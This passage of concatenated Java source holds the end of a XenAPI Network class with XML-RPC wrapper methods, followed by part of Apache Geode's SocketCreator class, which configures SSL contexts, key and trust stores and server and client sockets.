Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref), Marshalling.toXMLRPC(otherConfig)};
Map response = c.dispatch(method_call, method_params);
return;
}
/**
* Add the given key-value pair to the other_config field of the given network.
*
* @param key Key to add
* @param value Value to add
*/
public void addToOtherConfig(Connection c, String key, String value) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.add_to_other_config";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref), Marshalling.toXMLRPC(key), Marshalling.toXMLRPC(value)};
Map response = c.dispatch(method_call, method_params);
return;
}
/**
* Remove the given key and its corresponding value from the other_config field of the given network. If the key is not in that Map, then do nothing.
*
* @param key Key to remove
*/
public void removeFromOtherConfig(Connection c, String key) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.remove_from_other_config";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref), Marshalling.toXMLRPC(key)};
Map response = c.dispatch(method_call, method_params);
return;
}
/**
* Set the tags field of the given network.
*
* @param tags New value to set
*/
public void setTags(Connection c, Set<String> tags) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.set_tags";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref), Marshalling.toXMLRPC(tags)};
Map response = c.dispatch(method_call, method_params);
return;
}
/**
* Add the given value to the tags field of the given network. If the value is already in that Set, then do nothing.
*
* @param value New value to add
*/
public void addTags(Connection c, String value) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.add_tags";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref), Marshalling.toXMLRPC(value)};
Map response = c.dispatch(method_call, method_params);
return;
}
/**
* Remove the given value from the tags field of the given network. If the value is not in that Set, then do nothing.
*
* @param value Value to remove
*/
public void removeTags(Connection c, String value) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.remove_tags";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref), Marshalling.toXMLRPC(value)};
Map response = c.dispatch(method_call, method_params);
return;
}
/**
* Create a placeholder for a named binary blob of data that is associated with this pool
*
* @param name The name associated with the blob
* @param mimeType The mime type for the data. Empty string translates to application/octet-stream
* @return Task
*/
public Task createNewBlobAsync(Connection c, String name, String mimeType) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "Async.network.create_new_blob";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref), Marshalling.toXMLRPC(name), Marshalling.toXMLRPC(mimeType)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toTask(result);
}
/**
* Create a placeholder for a named binary blob of data that is associated with this pool
*
* @param name The name associated with the blob
* @param mimeType The mime type for the data. Empty string translates to application/octet-stream
* @return The reference of the blob, needed for populating its data
*/
public Blob createNewBlob(Connection c, String name, String mimeType) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.create_new_blob";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session), Marshalling.toXMLRPC(this.ref), Marshalling.toXMLRPC(name), Marshalling.toXMLRPC(mimeType)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toBlob(result);
}
/**
* Return a list of all the networks known to the system.
*
* @return references to all objects
*/
public static Set<Network> getAll(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_all";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toSetOfNetwork(result);
}
/**
* Return a map of network references to network records for all networks known to the system.
*
* @return records of all objects
*/
public static Map<Network, Network.Record> getAllRecords(Connection c) throws
BadServerResponse,
XenAPIException,
XmlRpcException {
String method_call = "network.get_all_records";
String session = c.getSessionReference();
Object[] method_params = {Marshalling.toXMLRPC(session)};
Map response = c.dispatch(method_call, method_params);
Object result = response.get("Value");
return Types.toMapOfNetworkNetworkRecord(result);
}
}
| |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more contributor license
* agreements. See the NOTICE file distributed with this work for additional information regarding
* copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance with the License. You may obtain a
* copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
package org.apache.geode.internal.net;
import org.apache.commons.lang.StringUtils;
import org.apache.geode.GemFireConfigException;
import org.apache.geode.SystemConnectException;
import org.apache.geode.SystemFailure;
import org.apache.geode.admin.internal.InetAddressUtil;
import org.apache.geode.cache.wan.GatewaySender;
import org.apache.geode.cache.wan.GatewayTransportFilter;
import org.apache.geode.distributed.ClientSocketFactory;
import org.apache.geode.distributed.internal.DistributionConfig;
import org.apache.geode.distributed.internal.DistributionConfigImpl;
import org.apache.geode.distributed.internal.InternalDistributedSystem;
import org.apache.geode.internal.ClassPathLoader;
import org.apache.geode.internal.ConnectionWatcher;
import org.apache.geode.internal.GfeConsoleReaderFactory;
import org.apache.geode.internal.GfeConsoleReaderFactory.GfeConsoleReader;
import org.apache.geode.internal.admin.SSLConfig;
import org.apache.geode.internal.cache.wan.TransportFilterServerSocket;
import org.apache.geode.internal.cache.wan.TransportFilterSocketFactory;
import org.apache.geode.internal.i18n.LocalizedStrings;
import org.apache.geode.internal.logging.LogService;
import org.apache.geode.internal.logging.log4j.LocalizedMessage;
import org.apache.geode.internal.security.SecurableCommunicationChannel;
import org.apache.geode.internal.util.ArgumentRedactor;
import org.apache.geode.internal.util.PasswordUtil;
import org.apache.logging.log4j.Logger;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.BindException;
import java.net.Inet4Address;
import java.net.Inet6Address;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.NetworkInterface;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketAddress;
import java.net.SocketException;
import java.net.UnknownHostException;
import java.nio.channels.ServerSocketChannel;
import java.security.GeneralSecurityException;
import java.security.KeyStore;
import java.security.KeyStoreException;
import java.security.NoSuchAlgorithmException;
import java.security.Principal;
import java.security.PrivateKey;
import java.security.SecureRandom;
import java.security.UnrecoverableKeyException;
import java.security.cert.Certificate;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Hashtable;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import java.util.Set;
import javax.naming.Context;
import javax.naming.NamingEnumeration;
import javax.naming.directory.Attribute;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.KeyManager;
import javax.net.ssl.KeyManagerFactory;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLEngine;
import javax.net.ssl.SSLException;
import javax.net.ssl.SSLHandshakeException;
import javax.net.ssl.SSLPeerUnverifiedException;
import javax.net.ssl.SSLServerSocket;
import javax.net.ssl.SSLSession;
import javax.net.ssl.SSLSocket;
import javax.net.ssl.TrustManager;
import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.X509ExtendedKeyManager;
/**
* Analyze configuration data (gemfire.properties) and configure sockets accordingly for SSL.
* <p>
* gemfire.useSSL = (true|false) default false.<br/>
* gemfire.ssl.debug = (true|false) default false.<br/>
* gemfire.ssl.needClientAuth = (true|false) default true.<br/>
* gemfire.ssl.protocols = <i>list of protocols</i><br/>
* gemfire.ssl.ciphers = <i>list of cipher suites</i><br/>
* <p>
* The following may be included to configure the certificates used by the Sun Provider.
* <p>
* javax.net.ssl.trustStore = <i>pathname</i><br/>
* javax.net.ssl.trustStorePassword = <i>password</i><br/>
* javax.net.ssl.keyStore = <i>pathname</i><br/>
* javax.net.ssl.keyStorePassword = <i>password</i><br/>
* <p>
* Additional properties will be set as System properties to be available as needed by other
* provider implementations.
*/
public class SocketCreator {
private static final Logger logger = LogService.getLogger();
/**
* Optional system property to enable GemFire usage of link-local addresses
*/
public static final String USE_LINK_LOCAL_ADDRESSES_PROPERTY =
DistributionConfig.GEMFIRE_PREFIX + "net.useLinkLocalAddresses";
/**
* True if GemFire should use link-local addresses
*/
private static final boolean useLinkLocalAddresses =
Boolean.getBoolean(USE_LINK_LOCAL_ADDRESSES_PROPERTY);
/**
* we cache localHost to avoid bug #40619, access-violation in native code
*/
private static final InetAddress localHost;
/**
* all classes should use this variable to determine whether to use IPv4 or IPv6 addresses
*/
private static boolean useIPv6Addresses = !Boolean.getBoolean("java.net.preferIPv4Stack")
&& Boolean.getBoolean("java.net.preferIPv6Addresses");
private static final Map<InetAddress, String> hostNames = new HashMap<>();
/**
* flag to force always using DNS (regardless of the fact that these lookups can hang)
*/
public static final boolean FORCE_DNS_USE =
Boolean.getBoolean(DistributionConfig.GEMFIRE_PREFIX + "forceDnsUse");
/**
* set this to false to inhibit host name lookup
*/
public static volatile boolean resolve_dns = true;
/**
* set this to false to use an inet_addr in a client's ID
*/
public static volatile boolean use_client_host_name = true;
/**
* True if this SocketCreator has been initialized and is ready to use
*/
private boolean ready = false;
/**
* Only print this SocketCreator's config once
*/
private boolean configShown = false;
/**
* context for SSL socket factories
*/
private SSLContext sslContext;
private SSLConfig sslConfig;
static {
InetAddress inetAddress = null;
try {
inetAddress = InetAddress.getByAddress(InetAddress.getLocalHost().getAddress());
if (inetAddress.isLoopbackAddress()) {
InetAddress ipv4Fallback = null;
InetAddress ipv6Fallback = null;
// try to find a non-loopback address
Set myInterfaces = getMyAddresses();
boolean preferIPv6 = SocketCreator.useIPv6Addresses;
String lhName = null;
for (Iterator<InetAddress> it = myInterfaces.iterator(); lhName == null && it.hasNext();) {
InetAddress addr = it.next();
if (addr.isLoopbackAddress() || addr.isAnyLocalAddress()) {
break;
}
boolean ipv6 = addr instanceof Inet6Address;
boolean ipv4 = addr instanceof Inet4Address;
if ((preferIPv6 && ipv6) || (!preferIPv6 && ipv4)) {
String addrName = reverseDNS(addr);
if (inetAddress.isLoopbackAddress()) {
inetAddress = addr;
lhName = addrName;
} else if (addrName != null) {
inetAddress = addr;
lhName = addrName;
}
} else {
if (preferIPv6 && ipv4 && ipv4Fallback == null) {
ipv4Fallback = addr;
} else if (!preferIPv6 && ipv6 && ipv6Fallback == null) {
ipv6Fallback = addr;
}
}
}
// vanilla Ubuntu installations will have a usable IPv6 address when
// running as a guest OS on an IPv6-enabled machine. We also look for
// the alternative IPv4 configuration.
if (inetAddress.isLoopbackAddress()) {
if (ipv4Fallback != null) {
inetAddress = ipv4Fallback;
SocketCreator.useIPv6Addresses = false;
} else if (ipv6Fallback != null) {
inetAddress = ipv6Fallback;
SocketCreator.useIPv6Addresses = true;
}
}
}
} catch (UnknownHostException e) {
}
localHost = inetAddress;
}
/**
* A factory used to create client <code>Sockets</code>.
*/
private ClientSocketFactory clientSocketFactory;
/**
* Whether to enable TCP keep alive for sockets. This boolean is controlled by the
* gemfire.setTcpKeepAlive java system property. If not set then GemFire will enable keep-alive on
* server->client and p2p connections.
*/
public static final boolean ENABLE_TCP_KEEP_ALIVE;
static {
// bug #49484 - customers want tcp/ip keep-alive turned on by default
// to avoid dropped connections. It can be turned off by setting this
// property to false
String str = System.getProperty(DistributionConfig.GEMFIRE_PREFIX + "setTcpKeepAlive");
if (str != null) {
ENABLE_TCP_KEEP_ALIVE = Boolean.valueOf(str);
} else {
ENABLE_TCP_KEEP_ALIVE = true;
}
}
// -------------------------------------------------------------------------
// Constructor
// -------------------------------------------------------------------------
/**
* Constructs new SocketCreator instance.
*/
SocketCreator(final SSLConfig sslConfig) {
this.sslConfig = sslConfig;
initialize();
}
// -------------------------------------------------------------------------
// Static instance accessors
// -------------------------------------------------------------------------
/**
* All GemFire code should use this method instead of InetAddress.getLocalHost(). See bug #40619
*/
public static InetAddress getLocalHost() throws UnknownHostException {
if (localHost == null) {
throw new UnknownHostException();
}
return localHost;
}
/**
* All classes should use this instead of relying on the JRE system property
*/
public static boolean preferIPv6Addresses() {
return SocketCreator.useIPv6Addresses;
}
/**
* returns the host name for the given inet address, using a local cache of names to avoid dns
* hits and duplicate strings
*/
public static synchronized String getHostName(InetAddress addr) {
String result = (String) hostNames.get(addr);
if (result == null) {
result = addr.getHostName();
hostNames.put(addr, result);
}
return result;
}
/**
* returns the host name for the given inet address, using a local cache of names to avoid dns
* hits and duplicate strings
*/
public static synchronized String getCanonicalHostName(InetAddress addr, String hostName) {
String result = (String) hostNames.get(addr);
if (result == null) {
hostNames.put(addr, hostName);
return hostName;
}
return result;
}
/**
* Reset the hostNames caches
*/
public static synchronized void resetHostNameCache() {
hostNames.clear();
}
// -------------------------------------------------------------------------
// Initializers (change SocketCreator state)
// -------------------------------------------------------------------------
/**
* Initialize this SocketCreator.
* <p>
* Caller must synchronize on the SocketCreator instance.
*/
@SuppressWarnings("hiding")
private void initialize() {
try {
// set p2p values...
if (SecurableCommunicationChannel.CLUSTER
.equals(sslConfig.getSecuredCommunicationChannel())) {
if (this.sslConfig.isEnabled()) {
System.setProperty("p2p.useSSL", "true");
System.setProperty("p2p.oldIO", "true");
System.setProperty("p2p.nodirectBuffers", "true");
} else {
System.setProperty("p2p.useSSL", "false");
}
}
try {
if (this.sslConfig.isEnabled() && sslContext == null) {
sslContext = createAndConfigureSSLContext();
SSLContext.setDefault(sslContext);
}
} catch (Exception e) {
throw new GemFireConfigException("Error configuring GemFire ssl ", e);
}
// make sure TCPConduit picks up p2p properties...
org.apache.geode.internal.tcp.TCPConduit.init();
initializeClientSocketFactory();
this.ready = true;
} catch (VirtualMachineError err) {
SystemFailure.initiateFailure(err);
// If this ever returns, rethrow the error. We're poisoned
// now, so don't let this thread continue.
throw err;
} catch (Error t) {
// Whenever you catch Error or Throwable, you must also
// catch VirtualMachineError (see above). However, there is
// _still_ a possibility that you are dealing with a cascading
// error condition, so you also need to check to see if the JVM
// is still usable:
SystemFailure.checkFailure();
t.printStackTrace();
throw t;
} catch (RuntimeException re) {
re.printStackTrace();
throw re;
}
}
/**
* Creates & configures the SSLContext when SSL is enabled.
*
* @return new SSLContext configured using the given protocols & properties
*
* @throws GeneralSecurityException if security information can not be found
* @throws IOException if information can not be loaded
*/
private SSLContext createAndConfigureSSLContext() throws GeneralSecurityException, IOException {
SSLContext newSSLContext = getSSLContextInstance();
KeyManager[] keyManagers = getKeyManagers();
TrustManager[] trustManagers = getTrustManagers();
newSSLContext.init(keyManagers, trustManagers, null /* use the default secure random */);
return newSSLContext;
}
/**
* Used by CacheServerLauncher and SystemAdmin to read the properties from console
*
* @param env Map in which the properties are to be read from console.
*/
public static void readSSLProperties(Map<String, String> env) {
readSSLProperties(env, false);
}
/**
* Used to read the properties from console. AgentLauncher calls this method directly & ignores
* gemfire.properties. CacheServerLauncher and SystemAdmin call this through
* {@link #readSSLProperties(Map)} and do NOT ignore gemfire.properties.
*
* @param env Map in which the properties are to be read from console.
* @param ignoreGemFirePropsFile if <code>false</code> existing gemfire.properties file is read,
* if <code>true</code>, properties from gemfire.properties file are ignored.
*/
public static void readSSLProperties(Map<String, String> env, boolean ignoreGemFirePropsFile) {
Properties props = new Properties();
DistributionConfigImpl.loadGemFireProperties(props, ignoreGemFirePropsFile);
for (Object entry : props.entrySet()) {
Map.Entry<String, String> ent = (Map.Entry<String, String>) entry;
// if the value of ssl props is empty, read them from console
if (ent.getKey().startsWith(DistributionConfig.SSL_SYSTEM_PROPS_NAME)
|| ent.getKey().startsWith(DistributionConfig.SYS_PROP_NAME)) {
String key = ent.getKey();
if (key.startsWith(DistributionConfig.SYS_PROP_NAME)) {
key = key.substring(DistributionConfig.SYS_PROP_NAME.length());
}
if (ent.getValue() == null || ent.getValue().trim().equals("")) {
GfeConsoleReader consoleReader = GfeConsoleReaderFactory.getDefaultConsoleReader();
if (!consoleReader.isSupported()) {
throw new GemFireConfigException(
"SSL properties are empty, but a console is not available");
}
if (key.toLowerCase().contains("password")) {
char[] password = consoleReader.readPassword("Please enter " + key + ": ");
env.put(key, PasswordUtil.encrypt(new String(password), false));
} else {
String val = consoleReader.readLine("Please enter " + key + ": ");
env.put(key, val);
}
}
}
}
}
private SSLContext getSSLContextInstance() {
String[] protocols = sslConfig.getProtocolsAsStringArray();
SSLContext sslContext = null;
if (protocols != null && protocols.length > 0) {
for (String protocol : protocols) {
if (!protocol.equals("any")) {
try {
sslContext = SSLContext.getInstance(protocol);
break;
} catch (NoSuchAlgorithmException e) {
// continue
}
}
}
}
if (sslContext != null) {
return sslContext;
}
// lookup known algorithms
String[] knownAlgorithms = {"SSL", "SSLv2", "SSLv3", "TLS", "TLSv1", "TLSv1.1", "TLSv1.2"};
for (String algo : knownAlgorithms) {
try {
sslContext = SSLContext.getInstance(algo);
break;
} catch (NoSuchAlgorithmException e) {
// continue
}
}
return sslContext;
}
private TrustManager[] getTrustManagers()
throws KeyStoreException, NoSuchAlgorithmException, CertificateException, IOException {
TrustManager[] trustManagers = null;
GfeConsoleReader consoleReader = GfeConsoleReaderFactory.getDefaultConsoleReader();
String trustStoreType = sslConfig.getTruststoreType();
if (StringUtils.isEmpty(trustStoreType)) {
// read from console, default on empty
if (consoleReader.isSupported()) {
trustStoreType = consoleReader
.readLine("Please enter the trustStoreType (javax.net.ssl.trustStoreType) : ");
} else {
trustStoreType = KeyStore.getDefaultType();
}
}
KeyStore ts = KeyStore.getInstance(trustStoreType);
String trustStorePath = sslConfig.getTruststore();
if (StringUtils.isEmpty(trustStorePath)) {
if (consoleReader.isSupported()) {
trustStorePath = consoleReader
.readLine("Please enter the trustStore location (javax.net.ssl.trustStore) : ");
}
}
FileInputStream fis = new FileInputStream(trustStorePath);
String passwordString = sslConfig.getTruststorePassword();
char[] password = null;
if (passwordString != null) {
if (passwordString.trim().equals("")) {
if (!StringUtils.isEmpty(passwordString)) {
String toDecrypt = "encrypted(" + passwordString + ")";
passwordString = PasswordUtil.decrypt(toDecrypt);
password = passwordString.toCharArray();
}
// read from the console
if (StringUtils.isEmpty(passwordString) && consoleReader.isSupported()) {
password = consoleReader.readPassword(
"Please enter password for trustStore (javax.net.ssl.trustStorePassword) : ");
}
} else {
password = passwordString.toCharArray();
}
}
ts.load(fis, password);
// default algorithm can be changed by setting property "ssl.TrustManagerFactory.algorithm" in
// security properties
TrustManagerFactory tmf =
TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
tmf.init(ts);
trustManagers = tmf.getTrustManagers();
// follow the security tip in java doc
if (password != null) {
java.util.Arrays.fill(password, ' ');
}
return trustManagers;
}
private KeyManager[] getKeyManagers() throws KeyStoreException, IOException,
NoSuchAlgorithmException, CertificateException, UnrecoverableKeyException {
GfeConsoleReader consoleReader = GfeConsoleReaderFactory.getDefaultConsoleReader();
KeyManager[] keyManagers = null;
String keyStoreType = sslConfig.getKeystoreType();
if (StringUtils.isEmpty(keyStoreType)) {
// read from console, default on empty
if (consoleReader.isSupported()) {
keyStoreType =
consoleReader.readLine("Please enter the keyStoreType (javax.net.ssl.keyStoreType) : ");
} else {
keyStoreType = KeyStore.getDefaultType();
}
}
KeyStore keyStore = KeyStore.getInstance(keyStoreType);
String keyStoreFilePath = sslConfig.getKeystore();
if (StringUtils.isEmpty(keyStoreFilePath)) {
if (consoleReader.isSupported()) {
keyStoreFilePath = consoleReader
.readLine("Please enter the keyStore location (javax.net.ssl.keyStore) : ");
} else {
keyStoreFilePath =
System.getProperty("user.home") + System.getProperty("file.separator") + ".keystore";
}
}
FileInputStream fileInputStream = new FileInputStream(keyStoreFilePath);
String passwordString = sslConfig.getKeystorePassword();
char[] password = null;
if (passwordString != null) {
if (passwordString.trim().equals("")) {
String encryptedPass = System.getenv("javax.net.ssl.keyStorePassword");
if (!StringUtils.isEmpty(encryptedPass)) {
String toDecrypt = "encrypted(" + encryptedPass + ")";
passwordString = PasswordUtil.decrypt(toDecrypt);
password = passwordString.toCharArray();
}
// read from the console
if (StringUtils.isEmpty(passwordString) && consoleReader != null) {
password = consoleReader.readPassword(
"Please enter password for keyStore (javax.net.ssl.keyStorePassword) : ");
}
} else {
password = passwordString.toCharArray();
}
}
keyStore.load(fileInputStream, password);
// default algorithm can be changed by setting property "ssl.KeyManagerFactory.algorithm" in
// security properties
KeyManagerFactory keyManagerFactory =
KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
keyManagerFactory.init(keyStore, password);
keyManagers = keyManagerFactory.getKeyManagers();
// follow the security tip in java doc
if (password != null) {
java.util.Arrays.fill(password, ' ');
}
KeyManager[] extendedKeyManagers = new KeyManager[keyManagers.length];
for (int i = 0; i < keyManagers.length; i++)
{
extendedKeyManagers[i] = new ExtendedAliasKeyManager(keyManagers[i], sslConfig.getAlias());
}
return extendedKeyManagers;
}
private static class ExtendedAliasKeyManager extends X509ExtendedKeyManager {
private final X509ExtendedKeyManager delegate;
private final String keyAlias;
/**
* Constructor.
*
* @param mgr The X509KeyManager used as a delegate
* @param keyAlias The alias name of the server's keypair and supporting certificate chain
*/
ExtendedAliasKeyManager(KeyManager mgr, String keyAlias) {
this.delegate = (X509ExtendedKeyManager) mgr;
this.keyAlias = keyAlias;
}
@Override
public String[] getClientAliases(final String s, final Principal[] principals) {
return delegate.getClientAliases(s, principals);
}
@Override
public String chooseClientAlias(final String[] strings, final Principal[] principals,
final Socket socket) {
if (!StringUtils.isEmpty(this.keyAlias)) {
return keyAlias;
}
return delegate.chooseClientAlias(strings, principals, socket);
}
@Override
public String[] getServerAliases(final String s, final Principal[] principals) {
return delegate.getServerAliases(s, principals);
}
@Override
public String chooseServerAlias(String keyType, Principal[] issuers, Socket socket) {
if (!StringUtils.isEmpty(this.keyAlias)) {
PrivateKey key = this.delegate.getPrivateKey(this.keyAlias);
return getKeyAlias(keyType, key);
}
return this.delegate.chooseServerAlias(keyType, issuers, socket);
}
@Override
public X509Certificate[] getCertificateChain(final String s) {
if (!StringUtils.isEmpty(this.keyAlias)) {
return delegate.getCertificateChain(keyAlias);
}
return delegate.getCertificateChain(s);
}
@Override
public PrivateKey getPrivateKey(final String alias) {
return delegate.getPrivateKey(alias);
}
@Override
public String chooseEngineServerAlias(final String keyType, final Principal[] principals,
final SSLEngine sslEngine) {
if (!StringUtils.isEmpty(this.keyAlias)) {
PrivateKey key = this.delegate.getPrivateKey(this.keyAlias);
return getKeyAlias(keyType, key);
}
return this.delegate.chooseEngineServerAlias(keyType, principals, sslEngine);
}
private String getKeyAlias(final String keyType, final PrivateKey key) {
if (key != null) {
if (key.getAlgorithm().equals(keyType)) {
return this.keyAlias;
} else {
return null;
}
} else {
return null;
}
}
}
// -------------------------------------------------------------------------
// Public methods
// -------------------------------------------------------------------------
/**
* Returns true if this SocketCreator is configured to use SSL.
*/
public boolean useSSL() {
return this.sslConfig.isEnabled();
}
/**
* Return a ServerSocket possibly configured for SSL. SSL configuration is left up to JSSE
* properties in java.security file.
*/
public ServerSocket createServerSocket(int nport, int backlog) throws IOException {
return createServerSocket(nport, backlog, null);
}
public ServerSocket createServerSocket(int nport, int backlog, InetAddress bindAddr,
List<GatewayTransportFilter> transportFilters, int socketBufferSize) throws IOException {
if (transportFilters.isEmpty()) {
return createServerSocket(nport, backlog, bindAddr, socketBufferSize);
} else {
printConfig();
ServerSocket result = new TransportFilterServerSocket(transportFilters);
result.setReuseAddress(true);
// Set the receive buffer size before binding the socket so
// that large buffers will be allocated on accepted sockets (see
// java.net.ServerSocket.setReceiverBufferSize javadocs)
result.setReceiveBufferSize(socketBufferSize);
try {
result.bind(new InetSocketAddress(bindAddr, nport), backlog);
} catch (BindException e) {
BindException throwMe =
new BindException(LocalizedStrings.SocketCreator_FAILED_TO_CREATE_SERVER_SOCKET_ON_0_1
.toLocalizedString(new Object[] {bindAddr, Integer.valueOf(nport)}));
throwMe.initCause(e);
throw throwMe;
}
return result;
}
}
/**
* Return a ServerSocket possibly configured for SSL. SSL configuration is left up to JSSE
* properties in java.security file.
*/
public ServerSocket createServerSocket(int nport, int backlog, InetAddress bindAddr)
throws IOException {
return createServerSocket(nport, backlog, bindAddr, -1, sslConfig.isEnabled());
}
public ServerSocket createServerSocket(int nport, int backlog, InetAddress bindAddr,
int socketBufferSize) throws IOException {
return createServerSocket(nport, backlog, bindAddr, socketBufferSize, sslConfig.isEnabled());
}
private ServerSocket createServerSocket(int nport, int backlog, InetAddress bindAddr,
int socketBufferSize, boolean sslConnection) throws IOException {
printConfig();
if (sslConnection) {
if (this.sslContext == null) {
throw new GemFireConfigException(
"SSL not configured correctly, Please look at previous error");
}
ServerSocketFactory ssf = this.sslContext.getServerSocketFactory();
SSLServerSocket serverSocket = (SSLServerSocket) ssf.createServerSocket();
serverSocket.setReuseAddress(true);
// If necessary, set the receive buffer size before binding the socket so
// that large buffers will be allocated on accepted sockets (see
// java.net.ServerSocket.setReceiverBufferSize javadocs)
if (socketBufferSize != -1) {
serverSocket.setReceiveBufferSize(socketBufferSize);
}
serverSocket.bind(new InetSocketAddress(bindAddr, nport), backlog);
finishServerSocket(serverSocket);
return serverSocket;
} else {
// log.info("Opening server socket on " + nport, new Exception("SocketCreation"));
ServerSocket result = new ServerSocket();
result.setReuseAddress(true);
// If necessary, set the receive buffer size before binding the socket so
// that large buffers will be allocated on accepted sockets (see
// java.net.ServerSocket.setReceiverBufferSize javadocs)
if (socketBufferSize != -1) {
result.setReceiveBufferSize(socketBufferSize);
}
try {
result.bind(new InetSocketAddress(bindAddr, nport), backlog);
} catch (BindException e) {
BindException throwMe =
new BindException(LocalizedStrings.SocketCreator_FAILED_TO_CREATE_SERVER_SOCKET_ON_0_1
.toLocalizedString(new Object[] {bindAddr, Integer.valueOf(nport)}));
throwMe.initCause(e);
throw throwMe;
}
return result;
}
}
/**
* Creates or bind server socket to a random port selected from tcp-port-range which is same as
* membership-port-range.
*
* @param ba
* @param backlog
* @param isBindAddress
* @param tcpBufferSize
*
* @return Returns the new server socket.
*
* @throws IOException
*/
public ServerSocket createServerSocketUsingPortRange(InetAddress ba, int backlog,
boolean isBindAddress, boolean useNIO, int tcpBufferSize, int[] tcpPortRange)
throws IOException {
return createServerSocketUsingPortRange(ba, backlog, isBindAddress, useNIO, tcpBufferSize,
tcpPortRange, sslConfig.isEnabled());
}
/**
* Creates or bind server socket to a random port selected from tcp-port-range which is same as
* membership-port-range.
*
* @param ba
* @param backlog
* @param isBindAddress
* @param tcpBufferSize
* @param sslConnection whether to connect using SSL
*
* @return Returns the new server socket.
*
* @throws IOException
*/
public ServerSocket createServerSocketUsingPortRange(InetAddress ba, int backlog,
boolean isBindAddress, boolean useNIO, int tcpBufferSize, int[] tcpPortRange,
boolean sslConnection) throws IOException {
ServerSocket socket = null;
int localPort = 0;
int startingPort = 0;
// Get a random port from range.
Random rand = new SecureRandom();
int portLimit = tcpPortRange[1];
int randPort = tcpPortRange[0] + rand.nextInt(tcpPortRange[1] - tcpPortRange[0] + 1);
startingPort = randPort;
localPort = startingPort;
while (true) {
if (localPort > portLimit) {
if (startingPort != 0) {
localPort = tcpPortRange[0];
portLimit = startingPort - 1;
startingPort = 0;
} else {
throw new SystemConnectException(
LocalizedStrings.TCPConduit_UNABLE_TO_FIND_FREE_PORT.toLocalizedString());
}
}
try {
if (useNIO) {
ServerSocketChannel channl = ServerSocketChannel.open();
socket = channl.socket();
InetSocketAddress addr = new InetSocketAddress(isBindAddress ? ba : null, localPort);
socket.bind(addr, backlog);
} else {
socket = this.createServerSocket(localPort, backlog, isBindAddress ? ba : null,
tcpBufferSize, sslConnection);
}
break;
} catch (java.net.SocketException ex) {
if (useNIO || SocketCreator.treatAsBindException(ex)) {
localPort++;
} else {
throw ex;
}
}
}
return socket;
}
public static boolean treatAsBindException(SocketException se) {
if (se instanceof BindException) {
return true;
}
final String msg = se.getMessage();
return (msg != null && msg.contains("Invalid argument: listen failed"));
}
/**
* Return a client socket. This method is used by client/server clients.
*/
public Socket connectForClient(String host, int port, int timeout) throws IOException {
return connect(InetAddress.getByName(host), port, timeout, null, true, -1);
}
/**
* Return a client socket. This method is used by client/server clients.
*/
public Socket connectForClient(String host, int port, int timeout, int socketBufferSize)
throws IOException {
return connect(InetAddress.getByName(host), port, timeout, null, true, socketBufferSize);
}
/**
* Return a client socket. This method is used by peers.
*/
public Socket connectForServer(InetAddress inetadd, int port) throws IOException {
return connect(inetadd, port, 0, null, false, -1);
}
/**
* Return a client socket. This method is used by peers.
*/
public Socket connectForServer(InetAddress inetadd, int port, int socketBufferSize)
throws IOException {
return connect(inetadd, port, 0, null, false, socketBufferSize);
}
/**
* Return a client socket, timing out if unable to connect and timeout > 0 (millis). The parameter
* <i>timeout</i> is ignored if SSL is being used, as there is no timeout argument in the ssl
* socket factory
*/
public Socket connect(InetAddress inetadd, int port, int timeout,
ConnectionWatcher optionalWatcher, boolean clientSide) throws IOException {
return connect(inetadd, port, timeout, optionalWatcher, clientSide, -1);
}
/**
* Return a client socket, timing out if unable to connect and timeout > 0 (millis). The parameter
* <i>timeout</i> is ignored if SSL is being used, as there is no timeout argument in the ssl
* socket factory
*/
public Socket connect(InetAddress inetadd, int port, int timeout,
ConnectionWatcher optionalWatcher, boolean clientSide, int socketBufferSize)
throws IOException {
